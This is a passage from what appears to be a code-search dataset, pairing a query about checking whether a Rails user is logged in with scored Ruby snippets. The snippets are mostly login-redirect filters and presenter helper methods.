"3c7256fe16be757f4582a1e762bacc13", "score": "0.5877844", "text": "def package_presenter\n @package_presenter ||= V1::PackagePresenter.new(@package, @template)\n end", "title": "" }, { "docid": "d56bf211555645f96db38da7c3e0e2fb", "score": "0.5870577", "text": "def presenter\n @contributor = Contributor.find(params[:id])\n @main_title = @contributor.role.contributor_names\n @page_title = @contributor.role.contributor_names\n end", "title": "" }, { "docid": "a13fa22308c0acff71052c9dc8d21add", "score": "0.5842745", "text": "def use_presenters(*names)\n names.each do |name|\n define_method(name) do\n if var = instance_variable_get(\"@#{name}\")\n var\n else\n var = @resource.__send__(name)\n if var\n if var.respond_to?(:map)\n instance_variable_set \"@#{name}\", var.map(&:to_presenter)\n else\n instance_variable_set \"@#{name}\", var.to_presenter\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "41ca0580938e016db2f95c0cd727fd85", "score": "0.5842651", "text": "def representative_presenter\n return nil if representative_id.blank?\n @representative_presenter ||= Hyrax::PresenterFactory.build_for(ids: [representative_id], presenter_class: Hyrax::FileSetPresenter, presenter_args: current_ability).first\n end", "title": "" }, { "docid": "f38e2e8b9b108b21296af01b7318d39e", "score": "0.58389807", "text": "def show\n @presenter = Presenter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presenter }\n end\n end", "title": "" }, { "docid": "8946d77042095ffbf50a11cf3f98e5df", "score": "0.58358353", "text": "def routes_presenter\n @routes_presenter ||= V1::RoutesPresenter.new(@routes, @template)\n end", "title": "" }, { "docid": "46788cba56c06562cd045aa74e01290f", "score": "0.57916194", "text": "def plan_template_presenter\n @plan_template_presenter ||= V1::PlanTemplatePresenter.new(@plan_template, @template)\n end", "title": "" }, { "docid": "6ead46b6b3c54290535302d70b7bef64", "score": "0.57879454", "text": "def presenting(name, options = {}, &block)\n options[:params] = ActiveSupport::HashWithIndifferentAccess.new(options[:params] || {})\n check_for_old_options!(options)\n set_default_filters_option!(options)\n presented_class = (options[:model] || name)\n presented_class = presented_class.classify.constantize if presented_class.is_a?(String)\n scope = presented_class.instance_eval(&block)\n count = 0\n\n # grab the presenter that knows about filters and sorting etc.\n options[:primary_presenter] ||= for!(presented_class)\n\n # table name will be used to query the database for the filtered data\n options[:table_name] = presented_class.table_name\n\n options[:default_per_page] = default_per_page\n options[:default_max_per_page] = default_max_per_page\n options[:default_max_filter_and_search_page] = default_max_filter_and_search_page\n\n strategy = get_strategy(options, scope)\n primary_models, count = strategy.execute(scope)\n\n # Determine if an exception should be raised on an empty result set.\n if options[:raise_on_empty] && primary_models.empty?\n raise options[:empty_error_class] || ActiveRecord::RecordNotFound\n end\n\n structure_response(presented_class, primary_models, strategy, count, options)\n end", "title": "" }, { "docid": "90e51ddf7dcf14e9fab65ef63ccad51d", "score": "0.57744175", "text": "def chosen_presenter(booking) \n\t\tif booking.chosen_presenter == nil\n\t\t\t\"none\"\n\t\telse\n\t\t\tlink_to \"#{booking.chosen_presenter.first_name} #{booking.chosen_presenter.last_name}\", presenter_profile_path(booking.chosen_presenter)\n\t\tend\n\tend", "title": "" }, { "docid": "fd3e96b79ed7cc3bd01b794da886c8b4", "score": "0.5764869", "text": "def route_gate_presenter\n @route_gate_presenter ||= V1::RouteGatePresenter.new(@route_gate, @template)\n end", "title": "" }, { "docid": "a455f37a9c1f2319b057b3e3c5854804", "score": "0.57390666", "text": "def get_page_presenter(action, type = nil)\n\n if action.to_s == \"index\" && type && page_presenters[:index].kind_of?(Hash)\n page_presenters[:index][type.to_sym]\n elsif action.to_s == \"index\" && page_presenters[:index].kind_of?(Hash)\n page_presenters[:index].default\n else\n page_presenters[action.to_sym]\n end\n\n end", "title": "" }, { "docid": "a8c213de9130e2684831a85ccd9fff7b", "score": "0.57322216", "text": "def list_presenter\n @list_presenter ||= V1::ListPresenter.new(@list, @template)\n end", "title": "" }, { "docid": "131a23dfa417512d34d608e77fe9c988", "score": "0.57142866", "text": "def is_presenter?(presentation)\n participation = Participation.where(presentation_id: presentation.id).where(user_id: id)\n return participation.first.is_presenter if participation.first\n false\n end", "title": "" }, { "docid": "461768041192bf4431b12f5eba7690b5", "score": "0.5698763", "text": "def steps_presenter\n @steps_presenter ||= V1::StepsPresenter.new(@steps, @template)\n end", "title": "" }, { "docid": "fc50124b968b79ec1450e1a87b3eaa4d", "score": "0.5682631", "text": "def job_run_presenter\n @job_run_presenter ||= V1::JobRunPresenter.new(@job_run, @template)\n end", "title": "" }, { "docid": "6724d3e6a3eaf2da413a1c44109c0118", "score": "0.56814724", "text": "def index\n @admin_presenter = AdminPresenter.new\n end", "title": "" }, { "docid": "a9b4ea778ef7d9ecb569124253134b80", "score": "0.5680085", "text": "def present(model = nil, with: nil, **context)\n model ||= self\n with ||= model.try(:presenter_class) || presenter_class\n with = collection_presenter_class \\\n if model.respond_to?(:each) && with != collection_presenter_class\n\n with.new model, **context\n end", "title": "" }, { "docid": "5917eaac4d84a739fb45d8ce68d64a63", "score": "0.5674038", "text": "def new\n @presenter = Presenter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @presenter }\n end\n end", "title": "" }, { "docid": "c5e6fb174f97a4e96fa739e221fe587c", "score": "0.5674017", "text": "def plan_stage_instance_presenter\n @plan_stage_instance_presenter ||= V1::PlanStageInstancePresenter.new(@plan_stage_instance, @template)\n end", "title": "" }, { "docid": "e2222f4bd2517793f09d8b5a462d523d", "score": "0.5649867", "text": "def presenter_for_path(path)\n begin\n # Assume that the path can be derived without a prefix; In other words\n # from the given path we can look up objects by namespace.\n presenter_for_name(path.camelize, [])\n rescue Curly::PresenterNameError\n nil\n end\n end", "title": "" }, { "docid": "e11aebe7674f80fa968973fe1809d2c4", "score": "0.56439674", "text": "def presenter(key, opts = {}, &block)\n key = expect_container_key(key, 'presenters')\n container = app_container(root_name | default_app_name)\n\n container.register(key, '')\n\n end", "title": "" }, { "docid": "56ee8421574ca625e17f7c1c4863521d", "score": "0.5643526", "text": "def business_process_presenter\n @business_process_presenter ||= V1::BusinessProcessPresenter.new(@business_process, @template)\n end", "title": "" }, { "docid": "55a56f2e492bd9e2e84dd7b3f6975a46", "score": "0.56423944", "text": "def lists_presenter\n @lists_presenter ||= V1::ListsPresenter.new(@lists, @template)\n end", "title": "" }, { "docid": "9780daf13d0509d1d18ad72066ba6912", "score": "0.564066", "text": "def present(*args, **kwargs, &block)\n Presenter.present(*args, **kwargs, &block)\n end", "title": "" }, { "docid": "d2bd85255b60716d56a3add8b0e9a816", "score": "0.56345296", "text": "def create_presenter\n self.presentations.create({:participant => self.participant}, :without_protection => true)\n end", "title": "" }, { "docid": "ad3557fbb598b064f45dfe5f21e979fc", "score": "0.5631327", "text": "def ==(other)\n other.is_a?(Presenter) && @view == other.view\n end", "title": "" }, { "docid": "e5c24286bfa45606fae3ff038a7fd9e6", "score": "0.5631033", "text": "def show\n render json: @presenter\n end", "title": "" }, { "docid": "ca667b5648604058e533ccc10922722a", "score": "0.5626935", "text": "def inherited(subclass)\n subclass.instance_variable_set :@presentable, presentable\n subclass.instance_variable_set :@hidden_methods, hidden_methods\n subclass.instance_variable_set :@exposed_methods, exposed_methods\n return unless subclass.name.present?\n presentable_class = subclass.name.gsub(/Presenter$/,'')\n presentable_class.constantize rescue nil\n subclass.send :presents, presentable_class if Object.const_defined?(presentable_class)\n end", "title": "" }, { "docid": "f5729b34c9727a048f8cf01a9523972b", "score": "0.5625133", "text": "def copy_presenter\n template \"#{presenter}.rb.erb\", \"app/presenters/#{file_name}_presenter.rb\"\n end", "title": "" }, { "docid": "679a9bce2fcfc510b4affde51c4ab0ca", "score": "0.5619996", "text": "def phase_presenter\n @phase_presenter ||= V1::PhasePresenter.new(@phase, @template)\n end", "title": "" } ]
c7eb5ce5d007a05c5db4eb15e01ee111
Uses SessionsHelper to determine if a user is logged in. If not they are redirected to login_url
[ { "docid": "0c51301658823c1d4992e185b4e9b346", "score": "0.0", "text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end", "title": "" } ]
[ { "docid": "b4b54d1003be81298f30395ceb9d7abd", "score": "0.82455635", "text": "def logged_in_user\n unless logged_in?\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "b143eb4d822f5f930d8af50bfa34c963", "score": "0.81416816", "text": "def logged_in_user\n unless logged_in?\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "1929f007f14fc422172527a0a941237e", "score": "0.805495", "text": "def login_user\n if session[:current_user_id]\n return redirect_to root_path(locale: I18n.locale)\n else\n return true\n end\n end", "title": "" }, { "docid": "666f27278452671cdd5440b16c34c86e", "score": "0.8025023", "text": "def logged_in_user\n unless logged_in?#Sessions Helper Method; returns boolean if user is/is not logged in\n store_location #Sessions Helper method; stores the URL trying to be accessed\n flash[:danger] = \"Please log in.\" #logged_in? == false; red log-in message \n redirect_to login_url #logged_in? == false; routes view to login page\n end\n end", "title": "" }, { "docid": "db3dea6abc76d6a970936ba309d12174", "score": "0.7985029", "text": "def logged_in_user\n redirect_to new_user_session_path unless current_user\n end", "title": "" }, { "docid": "2ccfd3a7590a29879dc32632fc7e89c3", "score": "0.79619557", "text": "def logged_in_user\n redirect_to login_url unless logged_in?\n end", "title": "" }, { "docid": "904b451a16782c985ca6f18741a0440e", "score": "0.7961867", "text": "def logged_in_user\n session[:return_url] = request.referrer\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "41433e0660f2b75efe7f74b7183fb45e", "score": "0.7958313", "text": "def logged_in\n if current_user == nil\n redirect_to new_user_session_path\n end\n end", "title": "" }, { "docid": "c24af33cc77265a710b85a4febf9ef05", "score": "0.7934421", "text": "def login_required\n return true if session[:user]\n session[:return_to] = request.request_uri\n session[:user] = nil\n session[:breadcrumbs] = clear_breadcrumbs\n redirect_to :controller => 'usersession', :action => 'new'\n end", "title": "" }, { "docid": "a50f556fc6f436c446e8849e8d795ea2", "score": "0.7887489", "text": "def logged_in_user\n unless logged_in?\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "a50f556fc6f436c446e8849e8d795ea2", "score": "0.7887489", "text": "def logged_in_user\n unless logged_in?\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "ea50ff8abb90b0412fde3e15a19d8e69", "score": "0.78809744", "text": "def logged_in_user\n unless logged_in?\n store_location #The store_location method in Listing 9.27 puts the requested URL in the session variable under the key :forwarding_url\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "2e95f3ea38372f4ccaa53c538303dbb0", "score": "0.7873415", "text": "def make_sure_logged_in\n if !current_user \n redirect_to new_sessions_path\n end\n end", "title": "" }, { "docid": "5b084c415fcae9616a8fedd812e25914", "score": "0.7868032", "text": "def logged_in\n if current_user == nil\n redirect_to new_user_session_path\n end\n end", "title": "" }, { "docid": "5b084c415fcae9616a8fedd812e25914", "score": "0.7868032", "text": "def logged_in\n if current_user == nil\n redirect_to new_user_session_path\n end\n end", "title": "" }, { "docid": "13e1e0467447f7a17f5d9d5d6a1efa1c", "score": "0.7866521", "text": "def login\n redirect_to user_path(current_user) if logged_in?\n end", "title": "" }, { "docid": "405a37ba8f927c3b388b73b2d357b3b4", "score": "0.78523463", "text": "def logged_in\n\t if current_user != nil\n\t redirect_to homepage_path\n\t end\n\tend", "title": "" }, { "docid": "2ab8cc3b305d4aae3152a1db7e85598a", "score": "0.7844905", "text": "def logged_in\n\t if current_user == nil\n\t redirect_to new_user_session_path\n\t end\n\t end", "title": "" }, { "docid": "14fc3f2a16dde3c42058b4311694165b", "score": "0.7815737", "text": "def logged_in_user\n unless logged_in?\n store_location #See sessions helper; this stores the GET request.url for friendly forwarding\n flash[:danger] = \"Please login first.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "259ade8524ce7551447a02078fd963b6", "score": "0.77867496", "text": "def logged_in_user\n unless helpers.logged_in?\n helpers.remember_url\n flash[:danger] = \"Please login first\"\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "81cd64f48a7bb79cee38f67ef5efc386", "score": "0.7784327", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "81cd64f48a7bb79cee38f67ef5efc386", "score": "0.7784327", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "81cd64f48a7bb79cee38f67ef5efc386", "score": "0.7784327", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "4070a1dac51a1bbd64de552e5b3295eb", "score": "0.7771999", "text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = t('controllers.must_login')\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "4070a1dac51a1bbd64de552e5b3295eb", "score": "0.7771999", "text": "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = t('controllers.must_login')\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "8d0e8d12c43947b6cba1e5aa290d177d", "score": "0.7765715", "text": "def make_sure_logged_in\n if !current_user \n redirect_to login_path\n end\n end", "title": "" }, { "docid": "660821f495bdfbd9e9b52f6cf2c667a1", "score": "0.7762547", "text": "def logged_in?\n if current_user == nil\n redirect_to new_session_path\n end\n end", "title": "" }, { "docid": "bfebdbbcd0e85057da3231ea63ffd6a5", "score": "0.77617157", "text": "def login_redirect\n redirect_to login_url unless logged_in?\n end", "title": "" }, { "docid": "f36c38c841271022973453d5d6da06e0", "score": "0.77609813", "text": "def logged_in_user\n unless logged_in?\n store_location # This is defined in the sessions_helper\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "919af8527a8c584c584c970c3c875d95", "score": "0.77590835", "text": "def logged_in?\n unless current_user\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "6e3d1c8ba147c555fa4920853ffb5e08", "score": "0.7755684", "text": "def logged_in_user\n unless logged_in?\n redirect_to login_url, notice: \"Please log in.\"\n end\n end", "title": "" }, { "docid": "f6c3554dc1720ad4daa3fc54b7613f01", "score": "0.7747771", "text": "def login_required\n if session[:user_id].nil?\n flash[:notice] = \"Login Required !\"\n redirect_to(:controller => \"/users\", :action => \"login\")\n else\n session[:return_to] = request.request_uri\n end\n end", "title": "" }, { "docid": "87f49b53332ce79c5ddec4a6a375a767", "score": "0.7724435", "text": "def login\n if session[:user_id] != nil\n redirect_to '/welcome'\n else\n redirect_to '/login' \n end\n\n end", "title": "" }, { "docid": "606ccda9a3688df188aa0c545cf7bf7e", "score": "0.7724397", "text": "def logged_in_user\r\n unless logged_in?\r\n # Stores requested URL for friendly forwarding.\r\n store_location\r\n flash[:danger] = \"Var god logga in.\"\r\n redirect_to login_url\r\n end\r\n end", "title": "" }, { "docid": "2a9b46c2863523feed80c6acc8ac78d6", "score": "0.77188575", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "2a9b46c2863523feed80c6acc8ac78d6", "score": "0.77188575", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "2a9b46c2863523feed80c6acc8ac78d6", "score": "0.77188575", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "a2aa0d00ca5d4bf0baa8a025f71419f2", "score": "0.7715396", "text": "def check_login\n unless is_logged_in?\n redirect_to new_session_path\n end\n end", "title": "" }, { "docid": "00cd728e6f735a3e2ff69fbed72bd4ac", "score": "0.7702998", "text": "def check_if_logged_in\n redirect_to login_path unless @current_user.present?\n end", "title": "" }, { "docid": "3056f2499ada8ffbe2e434cfc6f1b1f4", "score": "0.7702821", "text": "def logged_in?\n redirect_to root_path unless current_user\n end", "title": "" }, { "docid": "0731e510058c4d074f0213c3b98adacb", "score": "0.7701051", "text": "def logged_in_user\n unless loggedin?\n store_location\n redirect_to 'login/index_url'\n end\n end", "title": "" }, { "docid": "a6642ebfabfe727f202cf0ab1393d254", "score": "0.76986057", "text": "def redirect_to_login_if_not_logged_in\n unless logged_in?\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "e938c85f4073ba3c238a67f91c1d49ab", "score": "0.7689534", "text": "def redirect_if_logged_in\n redirect_to user_path(current_user) if user_signed_in?\n end", "title": "" }, { "docid": "663eb198f652c816496648e60ddeb881", "score": "0.7689147", "text": "def logged_in_user\n unless logged_in? #if user is not logged in (if false)\n store_location # friendly forwarding\n flash[:danger] = \"Please log in to continue.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "c5bcdb105082403c3cc12c02d7d29f1d", "score": "0.7688325", "text": "def login_required\n unless logged_in?\n session[:return_to] = request.fullpath\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "1a46d84d96b3cab5d5c914dd4200f2ee", "score": "0.7687458", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to login_url, notice: \"Please log in.\" unless logged_in?\n end\n end", "title": "" }, { "docid": "2055c90579efb5c8d06901077dda71a6", "score": "0.7678138", "text": "def logged_in_user\n unless logged_in?\n redirect_to login_url, flash: { danger: 'Por favor, faça login' }\n end\n end", "title": "" }, { "docid": "5d08d727ce0cd33b6eb2a1487ab1d20f", "score": "0.76766866", "text": "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to url_for(controller: 'sessions_controller', action: 'new')\n end\n end", "title": "" }, { "docid": "b054a8fb15a69bdd56032e7254dd6b78", "score": "0.76733726", "text": "def require_login\n if !current_user\n session[:return_to] = request.fullpath\n redirect_to outpost.login_path and return false\n end\n end", "title": "" }, { "docid": "d89e9e986c688bf489614c21e78fa28b", "score": "0.76711607", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "8ce0a3ad5bd302c41d5a999154dd37b4", "score": "0.7669267", "text": "def require_logged_in\n redirect_to user_url unless logged_in?\n end", "title": "" }, { "docid": "ed0168f31008b14fce812cfddba099bd", "score": "0.7665936", "text": "def ensure_authenticated_user\n unless session.has_key?(:uid)\n session[:original_url] = request.env['REQUEST_URI']\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "ed0168f31008b14fce812cfddba099bd", "score": "0.7665936", "text": "def ensure_authenticated_user\n unless session.has_key?(:uid)\n session[:original_url] = request.env['REQUEST_URI']\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "ca1ec4fd2527d88d4c98622f2bbb1de4", "score": "0.7665374", "text": "def logged_in_user\n unless logged_in?\n # remembers the url clicked to send user there after logging in\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "2f98010a4ccb5ff533eaef626bc9dd63", "score": "0.7664836", "text": "def require_login\n if (request.fullpath != \"/users/sign_in\" &&\n request.fullpath != \"/users/password/new\" &&\n request.fullpath != \"/users/sign_up\" &&\n request.fullpath != \"/users/password\" &&\n request.fullpath != \"/users/sign_out\" &&\n !request.xhr?) # don't store ajax calls\n session[\"user_return_to\"] = request.fullpath \n end\n unless user_signed_in?\n redirect_to new_user_session_path, :notice => \"You must be logged in to access this...\"\n end\n end", "title": "" }, { "docid": "be646fa8c1383bc54a53bd02890efe65", "score": "0.76523656", "text": "def redirect_if_not_logged_in\n if !logged_in?(session)\n redirect \"/login\"\n end\n end", "title": "" }, { "docid": "769ce513e614456b283b0e6753dec903", "score": "0.7650891", "text": "def redirect_if_not_logged_in\n redirect '/sessions/new' unless logged_in?\n end", "title": "" }, { "docid": "6d1cadbac91453b6cf1073cf249a689e", "score": "0.7644052", "text": "def logged_in_user\n unless logged_in?\n redirect_to signin_path\n end\n end", "title": "" }, { "docid": "5e74d74071afa56887833f039ca6d39a", "score": "0.7642338", "text": "def logged_in_user\n return false if logged_in?\n\n redirect_to root_path\n end", "title": "" }, { "docid": "4e852b8de286278cb14386398ff08fc4", "score": "0.7636905", "text": "def require_login\n unless session[:user_id]\n redirect_to root_path\n end\n current_user\n end", "title": "" }, { "docid": "1125ae780dc9631f4eaee6c5e45bf6e9", "score": "0.76350087", "text": "def logged_in_user\n unless logged_in? #instance method check if not logged in then\n store_location #call store_location method in session_helper.rb; store location of requested page\n flash[:danger] = \"Please log in.\" #warn the user to log in first\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "ee7a2bf7f26aee64da20f8c2bf50d479", "score": "0.76325005", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to login_url, alert: \"Please log in.\"\n end\n end", "title": "" }, { "docid": "9f4691091cdd29911285e19b8daf91ae", "score": "0.762626", "text": "def check_logged_in\n if session[:user_id]\n redirect_to root_path\n return false\n end\n true\n end", "title": "" }, { "docid": "9f4691091cdd29911285e19b8daf91ae", "score": "0.762626", "text": "def check_logged_in\n if session[:user_id]\n redirect_to root_path\n return false\n end\n true\n end", "title": "" }, { "docid": "25225692128d3f28d4726c457bb2c874", "score": "0.762486", "text": "def log_in\n login_url = settings.login_url\n if request.env['PATH_INFO'] != login_url\n save_location\n # 302 Found\n redirect url(login_url) \n # 401 Unauthorized, authentication is required and\n # has not yet been provided\n error 401, '401 Unauthorized'\n end\n end", "title": "" }, { "docid": "2cd60366e3230b7510caf1b476cb67ae", "score": "0.761877", "text": "def logged_in_user\n unless logged_in?\n store_requested_location\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "b5cc91aee61d17a7eeb66c45e9f5aa1b", "score": "0.7618014", "text": "def check_if_logged_in\n redirect_to login_path unless @current_user.present?\n end", "title": "" }, { "docid": "a8ae83eaa25dc3eaf37d11617317f409", "score": "0.76153433", "text": "def redirect_if_not_logged_in\n redirect to \"/login\" if !logged_in?\n end", "title": "" }, { "docid": "c649aebabfdfda7da859a06ef8782f43", "score": "0.76126397", "text": "def check_to_see_if_someones_logged_in\n # if they are not logged in, they will be sent to the login page\n redirect_to user_login_path unless logged_in?\n end", "title": "" }, { "docid": "f80f504aa744bad860feb16e812633dc", "score": "0.76086164", "text": "def logged_in_user\n unless logged_in?\n \tstore_location # for friendly forwarding\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "1f20d331e99b2666494d18e8bb6f7cc3", "score": "0.76079166", "text": "def logged_in_user\n unless logged_in?\n store_location # This line uses a method in sessions_helper to store request location so that it may redirect them to that location upon login.\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "e48954c2648b73a23d2d9abfab908fc7", "score": "0.7595039", "text": "def logged_in?\n if session[:user_id]\n current_user\n else\n flash[:danger] = 'You must be logged in'\n redirect '/login'\n end\n end", "title": "" }, { "docid": "71fd9138951db4b3f37337b5d6d4c449", "score": "0.7590874", "text": "def login_required\n if session[:user]\n return true\n else\n flash[:error] = [\"Login required to view that page\"]\n session[:redirect_to] = request.fullpath\n redirect \"/login\"\n return false\n end\n end", "title": "" }, { "docid": "75a45f8f189e26c8b64c547d530db1a1", "score": "0.7589636", "text": "def my_login_required\n #return false if !defined?(logged_in)\n return true if logged_in?\n session[:return_to] = request.url\n redirect_to \"/login\"\n return false\n end", "title": "" }, { "docid": "e1c28e6a12830f1feeb889166eda9fda", "score": "0.75885814", "text": "def logged_in_user\n unless logged_in?\n #store_location\n #lash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "00cccf9881d9843d38457d84c06cc1ac", "score": "0.75813866", "text": "def redirect_if_anoymous\n unless session.has_key?(:user_id)\n redirect_to login_url, :notice => \"Please log in first\"\n end\n end", "title": "" }, { "docid": "51e65de310bbad933abfddc90d11dc21", "score": "0.75738055", "text": "def authenticate\n if !logged_in? \n session[:initial_uri] ||= request.env['REQUEST_URI']\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "2e67884abe3eefd700b03b01c4cfef2f", "score": "0.7571342", "text": "def ensure_logged_in!\n redirect '/login' unless session[:user_id]\nend", "title": "" }, { "docid": "dd42870ab08a22ea155d9bbbe38a7ca3", "score": "0.7570648", "text": "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_path, danger: t(:please_login)\n end\n end", "title": "" }, { "docid": "591186d04e236a9b0ebb0d5f82eecc86", "score": "0.7569162", "text": "def logged_in_user\n unless logged_in?\n flash[:negative] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "f58a6269a508510c46731f3f234e143b", "score": "0.75661606", "text": "def require_login\n remember_path\n redirect '/login' unless logged_in?\n end", "title": "" }, { "docid": "e123d8a01146ed6adc94300fa80e2e6d", "score": "0.75648224", "text": "def logged_in?\n\t\tif current_user == nil\n\t\t\tredirect_to'/sign_in'\n\t\tend\n\tend", "title": "" }, { "docid": "ef50011b27c46ce640ef818ab93a1023", "score": "0.75633967", "text": "def only_loggedin_users\n redirect_to login_url unless logged_in? # logged_in? is found in our SessionsHelper\n end", "title": "" }, { "docid": "bce22539ed27430f93ddeef9822ec120", "score": "0.7562241", "text": "def require_login\n redirect_to new_session_url unless logged_in?\n end", "title": "" }, { "docid": "856cca0294f061d0d6d6bbbb7d490ff7", "score": "0.75606203", "text": "def authenticated\n redirect_to login_path unless logged_in?\n end", "title": "" }, { "docid": "8f36ee9148d3a34f02d076c711be49cd", "score": "0.7560359", "text": "def logged_in?\n if current_user.nil?\n redirect_to new_user_session_path\n return false\n end\n end", "title": "" }, { "docid": "58e4f1046c5985616eefe4f0e95bd66b", "score": "0.75544804", "text": "def login_required\n if logged_in?\n return true\n else\n flash[:info] = 'Login required to view this page'\n session[:redirect_to] = request.fullpath #TODO: Use query string instead.\n redirect '/login'\n return false\n end\n end", "title": "" }, { "docid": "28cea1debc939b2e716ec45ea299894a", "score": "0.75532466", "text": "def logged_in_user\n unless logged_in?\n puts \"=================================================Inside logged_in_user()==========================================================\"\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "b08f5db60bbde828d54308a98d758810", "score": "0.75528735", "text": "def logged_in?\n if current_user == nil\n redirect_to \"/\"\n end\n end", "title": "" }, { "docid": "6054ee0e44c4452f9f475ec190ecfb57", "score": "0.755251", "text": "def check_login_status\n if session[:user_id].nil?\n logger.info \"session does not have userid..redirect to login\"\n redirect_to :action => 'login',:controller => 'users'\n end\n end", "title": "" }, { "docid": "d3c5be7037340e50396f980458b8d78e", "score": "0.7552239", "text": "def logged_in_user\n unless logged_in?\n store_location # Save URL so user can try it again after logging in.\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "4c704562d13edf08a04bc0095a9b3600", "score": "0.75481015", "text": "def login_required\n if current_user\n @login_user = current_user \n else\n redirect_to \"/accounts/\" and return\n end\n end", "title": "" }, { "docid": "26309713d5a6e3dd68cacfc0cae75093", "score": "0.75393367", "text": "def require_login\n redirect '/users/login' unless session[:user_id]\nend", "title": "" }, { "docid": "d38d68b583d0078aee8ce914cb12a70f", "score": "0.7531426", "text": "def require_login\r\n if !logged_in?\r\n redirect_to login_path\r\n end\r\n end", "title": "" }, { "docid": "304d8ddd3ee68766355e2521c7363455", "score": "0.7527299", "text": "def logged_in_user\n unless logged_in?\n flash[:notice] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "304d8ddd3ee68766355e2521c7363455", "score": "0.7527299", "text": "def logged_in_user\n unless logged_in?\n flash[:notice] = \"Please log in.\"\n redirect_to login_url\n end\n end", "title": "" }, { "docid": "4bcb805411cd21e7c39af5804d8655a8", "score": "0.75235516", "text": "def logged_in_user\n\t unless logged_in?\n\t flash[:danger] = \"Proszę się zalogować.\"\n\t redirect_to url_for(controller: 'sessions', action: 'new')\n\t end\n\tend", "title": "" }, { "docid": "9959097968577135a6245d53d88b597f", "score": "0.752025", "text": "def redirect_logged_in\n\n redirect \"/foods\" if !!logged_in?\n #which means the user is logged in\n\n end", "title": "" }, { "docid": "0355580380109301d5146ad3cf6effaa", "score": "0.75190115", "text": "def logged_in_user\n\t\tunless logged_in?\n\t\t\tstore_location #this stores the url of the page the user was on when they tried to perform an action that required them logging in first\n\t\t\tflash.now[:danger] = \"Please log in\"\n\t\t\tredirect_to login_url\n\t\tend\n\tend", "title": "" }, { "docid": "f78e2e1e662eb67645df7de649b2c503", "score": "0.75180715", "text": "def check_for_login\n redirect_to login_path unless @current_user.present?\n end", "title": "" }, { "docid": "05fd54885a7046f1cbe0044ffaeeb382", "score": "0.7515682", "text": "def redirect_if_not_logged_in\n if !logged_in?\n redirect '/login'\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "84c199adeed84683d60940f1cfdbcc0b", "score": "0.0", "text": "def set_client\n @client = Client.find_by(reference_number: params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user 